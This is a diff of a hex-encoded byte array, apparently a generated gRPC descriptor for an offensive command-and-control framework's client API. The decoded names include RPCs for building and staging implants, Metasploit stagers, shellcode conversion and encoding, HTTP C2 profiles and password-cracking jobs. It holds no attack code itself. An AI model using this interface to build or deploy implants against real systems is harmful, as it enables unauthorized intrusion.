- 0x65, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61,
- 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x3b, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b,
- 0x46, 0x69, 0x6c, 0x65, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69,
- 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a,
- 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b,
- 0x46, 0x69, 0x6c, 0x65, 0x12, 0x41, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c,
- 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63,
- 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c,
- 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
- 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4c, 0x0a, 0x16, 0x43, 0x72, 0x61, 0x63, 0x6b,
- 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61,
- 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61,
- 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x18, 0x2e, 0x63, 0x6c,
- 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65,
- 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x39, 0x0a, 0x11, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69,
- 0x6c, 0x65, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69,
- 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a,
+ 0x59, 0x0a, 0x1e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72,
+ 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x43, 0x6f, 0x6e, 0x66, 0x69,
+ 0x67, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70,
+ 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65,
+ 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70,
+ 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x3f, 0x0a, 0x0d, 0x47, 0x65,
+ 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x53, 0x74, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x2e, 0x63, 0x6c,
+ 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x53,
+ 0x74, 0x61, 0x67, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
+ 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x3f, 0x0a, 0x11, 0x53,
+ 0x74, 0x61, 0x67, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64,
+ 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c,
+ 0x61, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x67, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f,
+ 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3d, 0x0a, 0x11,
+ 0x47, 0x65, 0x74, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65,
+ 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70,
+ 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54,
+ 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x12, 0x48, 0x0a, 0x16, 0x47,
+ 0x65, 0x74, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x42,
+ 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
+ 0x2e, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e,
+ 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43,
+ 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x3f, 0x0a, 0x11, 0x53, 0x61, 0x76, 0x65, 0x48, 0x54, 0x54,
+ 0x50, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69,
+ 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66,
+ 0x69, 0x67, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
+ 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x37, 0x0a, 0x0f, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65,
+ 0x72, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65,
+ 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63,
+ 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12,
+ 0x32, 0x0a, 0x0e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65,
+ 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65,
+ 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
+ 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12,
+ 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79,
+ 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c,
+ 0x64, 0x65, 0x72, 0x73, 0x12, 0x41, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61,
+ 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x12, 0x16, 0x2e, 0x63,
+ 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61,
+ 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, 0x37, 0x0a, 0x13, 0x43, 0x72, 0x61, 0x63, 0x6b,
+ 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x0f,
+ 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x1a,
0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79,
- 0x12, 0x37, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x44, 0x65, 0x6c,
+ 0x12, 0x42, 0x0a, 0x15, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e,
+ 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65,
+ 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d,
+ 0x61, 0x72, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45,
+ 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61,
+ 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
+ 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
+ 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12,
+ 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x42, 0x79, 0x49, 0x44,
+ 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63,
+ 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
+ 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x37, 0x0a, 0x0f, 0x43, 0x72,
+ 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e,
+ 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61,
+ 0x73, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
+ 0x70, 0x74, 0x79, 0x12, 0x3b, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65,
+ 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
+ 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69,
+ 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73,
+ 0x12, 0x3b, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x72, 0x65,
+ 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43,
+ 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
+ 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x41, 0x0a,
+ 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x55,
+ 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
+ 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a,
+ 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79,
+ 0x12, 0x4c, 0x0a, 0x16, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75,
+ 0x6e, 0x6b, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69,
+ 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43,
+ 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x39,
+ 0x0a, 0x11, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x6f, 0x6d, 0x70, 0x6c,
0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43,
0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
- 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0a, 0x52, 0x65, 0x67,
- 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71,
- 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65,
- 0x72, 0x61, 0x74, 0x65, 0x12, 0x39, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42,
- 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
- 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
- 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12,
- 0x3a, 0x0a, 0x12, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74,
- 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
- 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d,
- 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x43,
- 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
- 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
- 0x74, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x43, 0x0a, 0x16,
- 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
- 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69,
- 0x67, 0x12, 0x39, 0x0a, 0x10, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x55, 0x6e, 0x69,
- 0x71, 0x75, 0x65, 0x49, 0x50, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
- 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
- 0x62, 0x2e, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x3d, 0x0a, 0x0f,
- 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12,
+ 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x37, 0x0a, 0x0f, 0x43, 0x72, 0x61,
+ 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63,
+ 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c,
+ 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70,
+ 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0a, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65,
+ 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x65,
+ 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65,
+ 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x39, 0x0a,
+ 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x0f,
+ 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
+ 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61,
+ 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x3a, 0x0a, 0x12, 0x44, 0x65, 0x6c, 0x65,
+ 0x74, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x13,
+ 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65,
+ 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45,
+ 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73,
+ 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
+ 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6e,
+ 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x43, 0x0a, 0x16, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74,
+ 0x65, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12,
0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79,
- 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c,
- 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x3c, 0x0a, 0x14, 0x44,
- 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66,
- 0x69, 0x6c, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44,
- 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
- 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x48, 0x0a, 0x12, 0x53, 0x61, 0x76,
- 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12,
- 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61,
- 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65,
- 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66,
- 0x69, 0x6c, 0x65, 0x12, 0x37, 0x0a, 0x08, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x12,
- 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, 0x74,
- 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x41, 0x0a, 0x0c,
- 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x19, 0x2e, 0x63,
- 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64,
- 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12,
- 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x0f,
+ 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x43, 0x6c,
+ 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x39, 0x0a, 0x10, 0x47, 0x65,
+ 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x49, 0x50, 0x12, 0x0f,
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
- 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69,
- 0x6c, 0x65, 0x72, 0x12, 0x4b, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65,
- 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f,
- 0x64, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
